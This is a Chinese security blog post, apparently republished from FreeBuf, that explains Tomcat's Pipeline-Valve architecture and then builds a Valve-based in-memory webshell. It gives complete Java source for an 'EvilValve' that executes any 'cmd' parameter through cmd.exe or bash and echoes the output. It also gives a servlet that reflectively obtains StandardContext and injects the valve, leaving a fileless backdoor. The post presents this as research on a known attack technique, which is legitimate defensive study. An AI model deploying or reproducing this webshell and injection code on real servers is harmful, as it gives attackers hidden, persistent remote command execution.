浅析Tomcat架构上的Valve内存马(内存马系列篇十一)
2022-10-15 13:17:10 Author: www.freebuf.com(查看原文) 阅读量:6 收藏

写在前面

这篇也是在Tomcat容器上面构造的内存马(收回之前说的不搞Tomcat了),这是建立在Tomcat的管道上面做文章的一个内存马的实现方式。这是内存马系列的第十一篇文章了。

前置

什么是Pipeline-Valve管道?

根据前面Tomcat架构的相关知识,我们是知道对于Tomcat中的Container层有四个容器:

Engine

Host

Context

Wrapper

四个容器的具体实现为。

image-20221001104548654.png

四个容器中都包含有自己的管道对象,管道对象用来存放若干阀门对象。Tomcat为其分别制定了一个默认的基础阀门。

image-20221001104820970.png

四个基础阀门放在各自容器管道的最后一位,用于查找下一级容器的管道在每个容器对象里面都有一个pipeline及valve模块。

在上层容器的管道的BaseValue 中会调用下层容器的管道。

对于Pipeline处理的流程图如下:

image-20221001104936955.png

流程分析

Container 中的Pipeline 在抽象实现类ContainerBase 中定义。

image-20221001112443299.png

而对于上面提到的标准valve实现,他们都继承了ContainerBase类,共同维护了同一个Pipeline对象

并且分别通过调用startInternal/stopInternal/destroyInternal等方法调用相应的生命周期。

image-20221001112845728.png

image-20221001112905560.png

image-20221001112915146.png

而又因为四个组件都是继承ContainerBase,所以,每个组件在执行生命周期的同时也会调用对应方法

我们跟进一下Valve的标准实现StandardPipeline,Tomcat将会通过调用ContainerBase#addValve方法的方式来将所有的valve通过链表的方式组织起来。

image-20221001113925509.png

进而调用的是pipeline.addValve方法,进而是StandardPipeline#addValve方法的调用。

image-20221001114632635.png

因为我并没有配置多余的Valve,所以,这个容器只有一个基础阀(this.first=null)将valve赋值给first变量,并且设置 valve的下一个阀门为基础阀。如果这里的first不为空,遍历阀门链表,将要被添加的阀门设置在 基础阀之前。

对于其生命周期的实现:

因为StandardPipeline类继承至LifecycleBase, 所以其分别调用startInternal/stopInternal/destroyInternal方法来进行执行

startlnternal 方法和stopInternal 方法处理的过程非常相似,都是使用临时变量current 来遍历Value 链里的所有Value ,如果first 为空则使用basic ,然后遍历所有Value 并调用相应的start 和stop 方法,然后设置相应的生命周期状态。destroyInternal 方法是删除所有Value。

image-20221001115859113.png

而该类对于请求处理的方法为:

Connector 在接收到请求后会调用最顶层容器的Pipeline 来处理,顶层容器的Pipeline 处理完之后就会在其BaseValue 里调用下一层容器的Pipeline 进行处理.这样就可以逐层调用所有容器的Pipeline 来处理了

我们可以定位到CoyoteAdapter#service方法中。

image-20221001120136313.png

在进行连接请求的时候,将会获取顶层容器的Pipeline,调用其invoke方法进行处理。

image-20221001120314439.png

虽然对应的StandardPipeline中的first为null, 但是可以调用其getFirst方法,获取到basic中的Valve,这里存放的就是下一层的Valve对象。

image-20221001120505743.png

之后又调用下一层的invoke方法。

image-20221001120742448.png

正文

分析注入

通过上面的分析,我们可以知道,在处理请求的时候,Pipeline管道主要是通过调用Valveinvoke方法来进行处理请求的。

所以,如果我们能够创建一个恶意的Valve,并将其添加进入Valve链中,那么在处理请求的时候,将会调用我们创建的Valve的invoke方法,进而执行恶意代码。

根据上面的分析,我们可以知道,对于Valve的添加,主要是通过StandardPipeline#addValve方法进行添加。

image-20221001124921944.png

将会将我们构建的Valve添加在first之后,basic之前。

实现内存马

总结一下步骤就应该为两步

  1. 创建一个恶意的Valve

  2. 调用StandardPipeline#addValve方法将其添加进Valve链

首先处理第一步,根据前面的分析,一个符合条件的恶意Valve是需要继承ValveBase这个抽象类的。

image-20221001125506003.png

所以我们继承了之后,重写其invoke方法。

package pres.test.momenshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;
import java.util.Scanner;

public class EvilValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                java.io.PrintWriter printWriter = response.getWriter();
                ProcessBuilder processBuilder;
                String o = "";
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    processBuilder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    processBuilder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                java.util.Scanner scanner = new Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
                o = scanner.hasNext() ? scanner.next() : o;
                scanner.close();
                printWriter.println(o);
                printWriter.flush();
                printWriter.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

之后第二步就是获取StandardPipeline,调用其addValve方法。

package pres.test.momenshell;

import org.apache.catalina.core.StandardContext;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

public class AddTomcatValve extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            StandardContext o = null;
            //循环获取 StandardContext对象
            while (o == null) {
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                Object object = context.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    o = (StandardContext) object;
                }
            }
            // 添加自定义的Valve
            EvilValve evilValve = new EvilValve("aaa");
            o.getPipeline().addValve(evilValve);
            resp.getWriter().println("add successfully!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里是直接创建了一个Servlet进行注入,对于如何从当前线程中获取对应的StandardContext对象的各种方法总结将会在后面单独有一篇来讲述。之后在web.xml中进行配置,就可以访问这个Servlet了。

实例

相关的代码上面都有了,我们直接来看看效果,访问/addTomcatValve路由。

image-20221001152228180.png

成功注入内存马,我们测试是否成功注入。

image-20221001152303281.png

明显,成功写入了内存马。

总结

注入流程

  1. 创建一个恶意的Valve

  2. 获取StandardContext类对象

  3. 调用StandardPipeline#addValve方法将其添加进Valve链


文章来源: https://www.freebuf.com/vuls/346943.html
如有侵权请联系:admin#unsafe.sh